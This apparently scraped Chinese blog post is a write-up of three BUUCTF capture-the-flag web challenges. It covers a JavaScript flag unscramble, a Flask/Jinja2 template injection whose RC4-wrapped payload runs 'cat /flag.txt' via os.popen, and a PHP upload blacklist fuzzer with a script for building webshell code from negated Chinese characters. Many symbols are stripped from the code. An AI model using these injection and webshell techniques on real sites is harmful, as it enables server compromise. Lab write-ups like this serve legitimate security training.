成品网页网站,网站怎么做微博认证,wap php网站源码,网站开发制作公[b01lers2020]Welcome to Earth
打开网站#xff0c;停一会会跳转die#xff0c;了解一下#xff0c;这就类似一个通关游戏#xff0c;不能死亡#xff0c;也就是说进入/die这个网站就意味着题就做不出来了#xff1b;所以回到上一个网站原网站#xff0c;查看源码停一会会跳转die了解一下这就类似一个通关游戏不能死亡也就是说进入/die这个网站就意味着题就做不出来了所以回到上一个网站原网站查看源码
http://ccfd97f9-3c13-40b0-ad8c-4ba1cacfced9.node5.buuoj.cn:81/
返回这里去查看源码得到/chase/
然后访问
url/chase/
这里最好去抓一个包去查看要不我怕反应不过来就跳转过去了找到了/leftt/
同上继续访问找到了/shoot/同上继续访问找到了/door/继续访问然后就找不到类似的了这里需要访问/static/js/door.js然后访问/open/然后访问/static/js/open_sesame.js然后访问/fight/然后访问/static/js/fight.js得到了js代码和flag不过是乱序的
function scramble(flag, key) {for (var i 0; i key.length; i) {let n key.charCodeAt(i) % flag.length;let temp flag[i];flag[i] flag[n];flag[n] temp;}return flag;
}function check_action() {var action document.getElementById(action).value;var flag [{hey, _boy, aaaa, s_im, ck!}, _baa, aaaa, pctf];// TODO: unscramble function
}
以下脚本可以整理一下flag总共6个flag我是一个一个的试出来的
from itertools import permutationsflag [{hey, _boy, aaaa, s_im, ck!}, _baa, aaaa, pctf]item permutations(flag)
for i in item:k .join(list(i))if k.startswith(pctf{hey_boys) and k[-1] }:print(k)
脚本如上
[CISCN2019 华东南赛区]Double Secret
打开网站出现一句话之后不管是源码还是去用字典扫描都没有发现什么抓包也没有用处在看题目猜想到secret?secret这种方式试了一下还真是,get传参随便传点东西打开一个报错页面在这个页面找到了一段重要的代码 if(secretNone):return Tell me your secret.I will encrypt it so others can\t seercrc4_Modified.RC4(HereIsTreasure) #解密deSrc.do_crypt(secret)arender_template_string(safe(deS))if ciscn in a.lower():return flag detected!return a
这里需要记录一下在看到render_template_string()函数的时候就要想到python2.7的模板注入漏洞根据以上代码进行代码分析在get传参时需要将ssti注入语句进行加密因为当你传参时这个代码会将语句进行rc4解密所以传入的语句需要进行加密下面是rc4加密的脚本
import base64
from urllib.parse import quote
def rc4_main(key init_key, message init_message):# print(RC4加密主函数)s_box rc4_init_sbox(key)crypt str(rc4_excrypt(message, s_box))return crypt
def rc4_init_sbox(key):s_box list(range(256)) # 我这里没管秘钥小于256的情况小于256不断重复填充即可# print(原来的 s 盒%s % s_box)j 0for i in range(256):j (j s_box[i] ord(key[i % len(key)])) % 256s_box[i], s_box[j] s_box[j], s_box[i]# print(混乱后的 s 盒%s% s_box)return s_box
def rc4_excrypt(plain, box):# print(调用加密程序成功。)res []i j 0for s in plain:i (i 1) % 256j (j box[i]) % 256box[i], box[j] box[j], box[i]t (box[i] box[j]) % 256k box[t]res.append(chr(ord(s) ^ k))# print(res用于加密字符串加密后是%res %res)cipher .join(res)print(加密后的字符串是%s %quote(cipher))#print(加密后的输出(经过编码):)#print(str(base64.b64encode(cipher.encode(utf-8)), utf-8))return (str(base64.b64encode(cipher.encode(utf-8)), utf-8))
#需要加密的字符串在这里修改
rc4_main(HereIsTreasure,{{.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__(os).popen(cat /flag.txt).read()}})加密一下在进行传参就可以得到flag了
传参内容加密前
{{.__class__.__mro__[2].__subclasses__()[59]}}{{.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__(os).popen(cat /flag.txt).read()}}[SUCTF 2018]GetShell
知识点新的姿势汉字去构造webshell
打开题目在主页查看源码就可以找到文件上传的位置了上传位置在
urlindex.php?actupload
打开这个页面就可以看到一串代码
if($contentsfile_get_contents($_FILES[file][tmp_name])){$datasubstr($contents,5);foreach ($black_char as $b) {if (stripos($data, $b) ! false){die(illegal char);}}
} 审计代码
if($contentsfile_get_contents($_FILES[file][tmp_name])) 这串代码就是将上传的文件读成字符串并赋给变量contents $datasubstr($contents,5);
截取这个字符串从第6个字符开始索引为5 foreach ($black_char as $b) {if (stripos($data, $b) ! false){die(illegal char);}}
}
striops就是匹配第二个字符串在第一个字符串第一次出现的位置这里的意思就是如果b这个字符串在data这个字符串当中那么就返回字符串的位置否则就返回false也就是说如果b这个字符串在data当中就会进到这个if语句当中那么上传就会不成功
也就是说这是一个黑名单可以写一个python代码看看黑名单里都过滤了那些字符
这里参考这个大佬的博客BUUCTF[SUCTF 2018]GetShell-CSDN博客
# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requestsdef ascii_str():str_list[]for i in range(33,127):str_list.append(chr(i))#print(可显示字符%s%str_list)return str_listdef upload_post(url):str_list ascii_str()for str in str_list:header {Host:3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn,User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0,Accept:text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8,Accept-Language:zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding:gzip, deflate,Content-Type:multipart/form-data; boundary---------------------------339469688437537919752303518127}post -----------------------------339469688437537919752303518127
Content-Disposition: form-data; namefile; filenametest.txt
Content-Type: text/plain12345str
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; namesubmit提交
-----------------------------339469688437537919752303518127--res requests.post(url,datapost.encode(UTF-8),headersheader)if Stored in res.text:print(该字符可以通过: {0}.format(str))else:print(过滤字符: {0}.format(str))if __name__ __main__:url http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?actuploadupload_post(url)fuzz脚本
测试结果如下
PS C:\Users\Administrator\Desktop python .\fuzz.py
过滤字符: !
过滤字符:
过滤字符: #
该字符可以通过: $
过滤字符: %
过滤字符:
过滤字符:
该字符可以通过: (
该字符可以通过: )
过滤字符: *
过滤字符:
过滤字符: ,
过滤字符: -
该字符可以通过: .
过滤字符: /
过滤字符: 0
过滤字符: 1
过滤字符: 2
过滤字符: 3
过滤字符: 4
过滤字符: 5
过滤字符: 6
过滤字符: 7
过滤字符: 8
过滤字符: 9
过滤字符: :
该字符可以通过: ;
过滤字符:
该字符可以通过:
过滤字符:
过滤字符: ?
过滤字符:
过滤字符: A
过滤字符: B
过滤字符: C
过滤字符: D
过滤字符: E
过滤字符: F
过滤字符: G
过滤字符: H
过滤字符: I
过滤字符: J
过滤字符: K
过滤字符: L
过滤字符: M
过滤字符: N
过滤字符: O
过滤字符: P
过滤字符: Q
过滤字符: R
过滤字符: S
过滤字符: T
过滤字符: U
过滤字符: V
过滤字符: W
过滤字符: X
过滤字符: Y
过滤字符: Z
该字符可以通过: [
过滤字符: \
该字符可以通过: ]
过滤字符: ^
该字符可以通过: _
过滤字符:
过滤字符: a
过滤字符: b
过滤字符: c
过滤字符: d
过滤字符: e
过滤字符: f
过滤字符: g
过滤字符: h
过滤字符: i
过滤字符: j
过滤字符: k
过滤字符: l
过滤字符: m
过滤字符: n
过滤字符: o
过滤字符: p
过滤字符: q
过滤字符: r
过滤字符: s
过滤字符: t
过滤字符: u
过滤字符: v
过滤字符: w
过滤字符: x
过滤字符: y
过滤字符: z
过滤字符: {
过滤字符: |
过滤字符: }
该字符可以通过: ~
PS C:\Users\Administrator\Desktop 这里是使用取反汉字绕过
脚本如下还是参考那位大佬的脚本
?php
//Author: m0c1nu7
error_reporting(0);
header(Content-Type: text/html; charsetutf-8);function str_split_unicode($str, $l 0) {if ($l 0) {$ret array();$len mb_strlen($str, UTF-8);for ($i 0; $i $len; $i $l) {$ret[] mb_substr($str, $i, $l, UTF-8);}return $ret;}return preg_split(//u, $str, -1, PREG_SPLIT_NO_EMPTY);
}$s 你归来是诗离去成词且笑风尘不敢造次我糟糠能食粗衣也认煮酒话桑不敢相思你终会遇见这么一个人他会用整个人生将你精心收藏用漫长岁月把你妥善安放怕什么岁月漫长你心地善良,终会有一人陪你骑马喝酒走四方为你唱一首歌歌中有你亦有我我的泪我的魅将都融入到我的歌声里飘向孤独的你你是否听到了我的歌曲是否也在黯然落泪岁月匆匆人生漫漫漠视了真情谁是站谁的谁已经变得不重要至少曾经已拥有长相思爱相随时空隔离谁相陪花前月下心随风相思一片梦成空笑看往事红尘中多少凝思付清秋长相思泪相随曾经谁是谁的谁孤星冷月泪盈盈念曾经相逢心长时光短让人垂泪到天明长相思苦相随窗前双燕比翼飞日暮情人成双对于时光无垠的田野中没有早一步也没有晚一步恰好遇见了想要遇见的人这是一段多少美丽而令人心动的尘缘于爱情来说相见恨早会恨晚站会留下梨花带雨的疼痛而于友情来说无论太早或者太迟都是一份值得珍惜的情缘晚秋缓缓走晚了我的轮回疏雨一刻半疏笼起我深深的梦馀昨日遗憾寸寸疏雨挑涸泪烛落笔无处飒晚秋彼晚秋未晚懒我疏雨疏风去归我初心还我清梦唯我在晚秋未晚里守望那疏雨半疏的麦田待下一片梧桐叶复舞我亦拾起我的旧梦旧梦清寒一枕乱我眸中晚秋躞蹀的雨疏疏拍窗我的晚秋疏雨半疏疏开昨日我的梦情缘如海深邃澈蓝干涸成妄谈一湛清湖泪潸然一颦寒眉锁阑珊只为你而欣悦只因你而清泪斑斑你是我的前世吧为何沁泊在我的心怀缱绻起涟波千层驻我心扉知我情怀从此我已习惯你的嘘寒问暖懒倦地痴卧在你的胸怀红霞满腮昨天再苦都要用今天的微笑把它吟咏成一段幸福的记忆曾经再累都要用当站下的遗忘穿越万道红尘让心波澜不惊人生最大的荣耀不在于从不跌倒而在于每一次跌倒后都能爬起来回忆是件很累的事就像失眠时怎么躺都不对的样子有时候往往直到离开在回忆里才能知道自己有多喜欢一座城;$arr_strstr_split_unicode($s);for ($i0; $i strlen($s) ; $i) { echo $arr_str[$i]. ------- .~$arr_str[$i][1].br;
}?剩下的思路和那位大佬都差不多可以参考一下那篇文章写的挺好的BUUCTF[SUCTF 2018]GetShell-CSDN博客